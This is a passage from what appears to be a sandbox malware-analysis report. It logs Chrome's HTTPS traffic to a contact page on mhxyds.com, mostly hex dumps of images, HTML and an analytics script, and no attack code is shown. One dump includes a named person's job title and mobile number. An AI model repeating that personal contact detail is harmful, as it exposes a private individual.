2022-08-11 03:42:44 UTC 694 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 37 00 00 00 49 08 06 00 00 00 99 f3 be f7 00 00 00 
01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 
00 0e c1 01 b8 91 6b ed 00 00 15 27 49 44 41 54 78 5e ad da 03 b0 26 cb b2 05 e0 ff d8 b6 6d db b6 6d db b6 6d db b6 
6d db b6 6d 5b 71 4e bd f7 55 c4 9a 57 e7 9f bd e7 9e 7b df 9d 88 9c ee bf 51 9d ab 56 e6 ca ac ee dd b9 f5 d6 5b cb 6d 
b7 dd d6 97 dd 7e fb ed d5 da fd 3b ee b8 a3 47 bb f3 ce 3b cb 5d 77 dd 55 b7 bd ed b7 d7 f6 74 ae 3d 9e 6b ff 95 c5 bf 
18 2c b1 5b 6e b9 a5 f4 01 17 00 dd 96 41 b2 df 5a 9c 69 c1 b0 bb ef be bb dc 7b ef bd d5 ee b9 e7 9e 3e e7 6d fd 76 dc 
35 7e 67 2c fb b1 76 ac 58 fb 5c c6 9f d6 ef 6e 90 15 5c 7b 30 
Data Ascii: PNGIHDR7IsRGBgAMAapHYsk'IDATx^&mmmmm[qNUW{QV[m~;G;]wUt=k,[nAZi{>mv5~g,vX\n\{0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

59 118.27.105.118 443 192.168.11.20 60205 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:44 UTC 699 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:44 GMT
Content-Type: image/png
Content-Length: 5454
Last-Modified: Sun, 19 Feb 2017 09:43:00 GMT
Connection: close
ETag: "58a968a4-154e"
Expires: Sat, 10 Sep 2022 03:42:44 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:44 UTC 700 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 37 00 00 00 49 08 06 00 00 00 99 f3 be f7 00 00 00 
01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 
00 0e c1 01 b8 91 6b ed 00 00 14 e3 49 44 41 54 78 5e 95 db 05 d0 65 c5 b5 86 e1 3f 10 34 38 01 82 bb 24 b8 06 06 77 
0d 1a dc dd 21 b8 bb 6b 70 0d 4e 82 bb bb bb bb 43 41 82 45 70 a9 82 82 be 3c 7d eb 3b d5 b3 e7 cc 24 4c d5 aa ed dd f
d f6 b7 a4 f7 fe cf 0c dc 74 d3 4d 85 dd 7c f3 cd 3d bb e5 96 5b 7a 76 eb ad b7 f6 ec b6 db 6e eb d9 ed b7 df 3e 98 dd 71 
c7 1d 43 d8 9d 77 de 59 ee ba eb ae f2 e0 83 0f 96 87 1f 7e b8 9e d3 8e ad 73 8f 3c f2 48 b9 ef be fb ea 3d ec ee bb ef ee 
59 f7 78 68 96 67 bb a6 ef be 70 2d a0 c1 64 db 05 0b 44 17 
Data Ascii: PNGIHDR7IsRGBgAMAapHYskIDATx^e?48$w!kpNCAEp<};$LtM|=[zvn>qCwY~s<H=Yxhgp-dD

Session ID Source IP Source Port Destination IP
Destination
Port

Process

6 192.168.11.20 54409 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:37 UTC 36 OUT GET /contact.html HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

60 192.168.11.20 55061 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:44 UTC 705 OUT GET /png/thad77.png?h=73&w=55&la=en&hash=4311F49121FFFAB00AC2A81710641D8C4BA0FCC4 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/contact.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

61 192.168.11.20 56018 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:45 UTC 706 OUT GET /jpg/karen%20davis%20photo2a51c.jpg?h=73&w=55&la=en&hash=B38EE530183F7DA7894D1D4C64E54
362342370D4 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/contact.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

62 192.168.11.20 63649 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:45 UTC 706 OUT GET /gtm5445.html?id=GTM-WNXQNKG HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://mhxyds.com/contact.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

63 192.168.11.20 59083 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Copyright Joe Security LLC 2022 Page 289 of 310



Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:45 UTC 707 OUT GET /js/siteanalyze_83202.js HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://mhxyds.com/contact.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

64 192.168.11.20 55599 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:45 UTC 707 OUT GET /img/logo-footer.svg HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

65 192.168.11.20 64082 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:45 UTC 708 OUT GET /jpg/website-image-1_1665x550950a.jpg?w=1000&hash=3F14C5A22685B5499B8C0FC7F33992E313FEA968 
HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/contact.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

66 118.27.105.118 443 192.168.11.20 55061 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:45 UTC 709 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:45 GMT
Content-Type: image/png
Content-Length: 5314
Last-Modified: Sun, 19 Feb 2017 09:43:44 GMT
Connection: close
ETag: "58a968d0-14c2"
Expires: Sat, 10 Sep 2022 03:42:45 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:45 UTC 709 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 37 00 00 00 49 08 06 00 00 00 99 f3 be f7 00 00 00 
01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 
00 0e c1 01 b8 91 6b ed 00 00 14 57 49 44 41 54 78 5e ed da 55 ac 1d 47 16 85 e1 1b 66 e6 28 a0 28 f0 18 52 d0 61 66 
66 66 66 66 66 66 76 98 99 99 99 59 c1 87 30 83 14 e6 a8 26 5f 8d d6 51 dd f6 b1 a5 79 9c d1 58 da aa a6 d3 bd ff 5a 1b 
aa fb 7a 60 fb ed b7 2f ff ab f6 7f b8 ff 56 ab 70 3b ec b0 43 b5 1d 77 dc b1 b7 dd 6f bf b5 7e d7 f6 3b b6 d3 4e 3b f5 8e b7 
fb dd e3 ad 39 d7 5a f7 7c 6b ed 35 dd df 0c b4 ce c4 da 1f 66 7b 44 d6 ef ba 3c 64 e7 9d 77 ae b6 cb 2e bb 54 db 75 d7 
5d 7b db dd 73 ed f1 ee 7e 7b 2c fb dd eb ba 36 08 ae eb 
Data Ascii: PNGIHDR7IsRGBgAMAapHYskWIDATx^UGf((RafffffffvY0&_QyXZz`/Vp;Cwo~;N;9Z|k5f{D<dw.Tu]{s~{,6

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

67 118.27.105.118 443 192.168.11.20 56018 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:45 UTC 714 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:45 GMT
Content-Type: image/jpeg
Content-Length: 2775
Last-Modified: Sun, 25 Aug 2019 17:38:50 GMT
Connection: close
ETag: "5d62c7aa-ad7"
Expires: Sat, 10 Sep 2022 03:42:45 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:45 UTC 715 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 
02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 
0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 
0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 
0c 0c ff c0 00 11 08 00 49 00 37 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 
00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 
04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIFCCI7"}!1AQa"q2

Session ID Source IP Source Port Destination IP
Destination
Port

Process

68 118.27.105.118 443 192.168.11.20 55599 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:45 UTC 717 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:45 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:45 UTC 717 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

69 118.27.105.118 443 192.168.11.20 63649 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:45 UTC 718 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:45 GMT
Content-Type: text/html
Content-Length: 1555
Last-Modified: Thu, 27 Jan 2022 15:34:08 GMT
Connection: close
Vary: Accept-Encoding
ETag: "61f2bb70-613"
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:45 UTC 718 IN Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 
74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 7
2 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 
0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 
74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 
Data Ascii: <!DOCTYPE html><html lang=en>  <meta charset=utf-8>  <meta name=viewport content="initial-scale=1, 
minimum-scale=1, width=device-width">  <title>Error 400 (Bad Request)!!1</title>  <style>    *{margin:0;padding:0}html,
code{font:15px/22px arial,sans-

Session ID Source IP Source Port Destination IP
Destination
Port

Process

7 118.27.105.118 443 192.168.11.20 54409 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:38 UTC 37 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:38 GMT
Content-Type: text/html
Content-Length: 63725
Last-Modified: Fri, 28 Jan 2022 09:57:53 GMT
Connection: close
Vary: Accept-Encoding
ETag: "61f3be21-f8ed"
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:38 UTC 37 IN Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 20 
20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 6c 74 2d 69 65 39 20 6c 74 2d 69 65 38 20 6c 74 
2d 69 65 37 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 
20 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 6c 74 2d 69 65 39 20 6c 74 2d 69 65 38 22 3e 2
0 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 20 20 20 20 20 3c 
68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 6c 74 2d 69 65 39 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 
0d 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 
Data Ascii: <!DOCTYPE html>...[if lt IE 7]>      <html class="no-js lt-ie9 lt-ie8 lt-ie7"> <![endif]-->...[if IE 7]>         <html 
class="no-js lt-ie9 lt-ie8"> <![endif]-->...[if IE 8]>         <html class="no-js lt-ie9"> <![endif]-->...[if gt IE 8]>...>

2022-08-11 03:42:38 UTC 53 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 6d 79 2d 73 68 61 72 
65 68 6f 6c 64 69 6e 67 2e 68 74 6d 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2
0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 34 20 63 6c 61 73 73 3d 22 68 65 61 64 69 
6e 67 20 6d 65 67 61 6e 61 76 2d 69 74 65 6d 2d 68 65 61 64 69 6e 67 22 3e 4d 79 20 53 68 61 72 65 68 6f 6c 64 69 6e 
67 3c 2f 68 34 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
Data Ascii:                                                           <a href="my-shareholding.html">                                                           
                         <h4 class="heading meganav-item-heading">My Shareholding</h4>                 

2022-08-11 03:42:38 UTC 69 IN Data Raw: 6f 6e 2d 6d 61 72 6b 65 72 22 20 64 61 74 61 2d 74 61 72 67 65 74 3d 22 23 6e 61 76 2d 33 22 20 72 6f 6c 65 
3d 22 62 75 74 74 6f 6e 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 4e 65 77 73 20 26 61 6d 70 3b 20 49 6e 73 69 67 68 74 73 0d 0a 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 
2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 
Data Ascii: on-marker" data-target="#nav-3" role="button" aria-expanded="false">                                                    
News &amp; Insights                                                </a>                                                <div class
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2022-08-11 03:42:38 UTC 85 IN Data Raw: 35 43 45 38 34 30 38 44 34 22 3e 3c 62 72 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 74 64 3e 0a 20 20 
20 20 20 20 20 20 20 20 20 20 3c 74 64 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 61 75 74 6f 3b 20 74 65 78 74 2d 
61 6c 69 67 6e 3a 20 6c 65 66 74 3b 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 22 3e 3c 
73 74 72 6f 6e 67 3e 4d 41 52 4b 20 57 49 4c 4c 49 41 4d 53 3c 2f 73 74 72 6f 6e 67 3e 3c 62 72 3e 0a 20 20 20 20 20 20 
20 20 20 20 20 20 4b 65 79 20 41 63 63 6f 75 6e 74 20 4d 61 6e 61 67 65 72 20 4e 53 57 3c 62 72 3e 0a 20 20 20 20 20 
20 20 20 20 20 20 20 2b 36 31 20 34 30 35 20 33 38 35 20 39 36 30 3c 62 72 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 
3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 6d 61 72 6b 2e 77 69 
Data Ascii: 5CE8408D4"><br>            </td>            <td style="width: auto; text-align: left; vertical-align: middle;"><strong
>MARK WILLIAMS</strong><br>            Key Account Manager NSW<br>            +61 405 385 960<br>            <a 
href="mailto:mark.wi

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

70 192.168.11.20 53024 172.64.145.85 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:45 UTC 720 OUT POST /dns-query HTTP/1.1
Host: chrome.cloudflare-dns.com
Connection: keep-alive
Content-Length: 128
Accept: application/dns-message
Accept-Language: *
User-Agent: Chrome
Accept-Encoding: identity
Content-Type: application/dns-message

2022-08-11 03:42:45 UTC 720 OUT Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 
29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: wwwgstaticcom)TP

Session ID Source IP Source Port Destination IP
Destination
Port

Process

71 172.64.145.85 443 192.168.11.20 53024 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:45 UTC 720 IN HTTP/1.1 200 OK
Server: cloudflare
Date: Thu, 11 Aug 2022 03:42:45 GMT
Content-Type: application/dns-message
Connection: close
Access-Control-Allow-Origin: *
Content-Length: 468
CF-RAY: 738df6908c5abbce-FRA

2022-08-11 03:42:45 UTC 720 IN Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 
01 00 01 00 00 00 e3 00 04 ac d9 12 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: wwwgstaticcom)

Session ID Source IP Source Port Destination IP
Destination
Port

Process

72 118.27.105.118 443 192.168.11.20 59083 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:45 UTC 721 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:45 GMT
Content-Type: application/javascript
Content-Length: 33909
Last-Modified: Sun, 28 Nov 2021 10:15:36 GMT
Connection: close
Vary: Accept-Encoding
ETag: "61a356c8-8475"
Expires: Thu, 11 Aug 2022 15:42:45 GMT
Cache-Control: max-age=43200
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:45 UTC 721 IN Data Raw: 69 66 28 5f 73 7a 26 26 5f 73 7a 2e 63 6f 72 65 26 26 5f 73 7a 2e 63 6f 72 65 2e 5f 69 73 6c 6f 61 64 65 64 21 
3d 6e 75 6c 6c 29 7b 69 66 28 5f 73 7a 2e 63 6f 72 65 2e 77 61 72 6e 29 7b 5f 73 7a 2e 63 6f 72 65 2e 77 61 72 6e 28 22 
53 63 72 69 70 74 20 72 65 71 75 65 73 74 65 64 20 74 6f 20 6c 6f 61 64 20 61 6e 64 20 65 78 65 63 75 74 65 20 61 67 
61 69 6e 2c 20 74 68 69 73 20 69 73 20 6e 6f 74 20 64 65 73 69 72 61 62 6c 65 20 61 6e 64 20 77 69 6c 6c 20 62 65 20 
62 6c 6f 63 6b 65 64 22 29 7d 7d 65 6c 73 65 7b 76 61 72 20 5f 73 7a 3d 5f 73 7a 7c 7c 5b 5d 3b 5f 73 7a 2e 70 75 73 68 
28 5b 22 61 63 63 6f 75 6e 74 69 64 22 2c 38 33 32 30 32 5d 29 3b 5f 73 7a 2e 70 75 73 68 28 5b 22 72 65 67 69 6f 6e 22 
2c 22 72 31 22 5d 29 3b 5f 73 7a 2e 70 75 73 68 28 5b 22 65 
Data Ascii: if(_sz&&_sz.core&&_sz.core._isloaded!=null){if(_sz.core.warn){_sz.core.warn("Script requested to load and ex
ecute again, this is not desirable and will be blocked")}}else{var _sz=_sz||[];_sz.push(["accountid",83202]);_sz.push(["
region","r1"]);_sz.push(["e

2022-08-11 03:42:45 UTC 737 IN Data Raw: 67 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 73 68 6f 77 6c 6f 67 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 
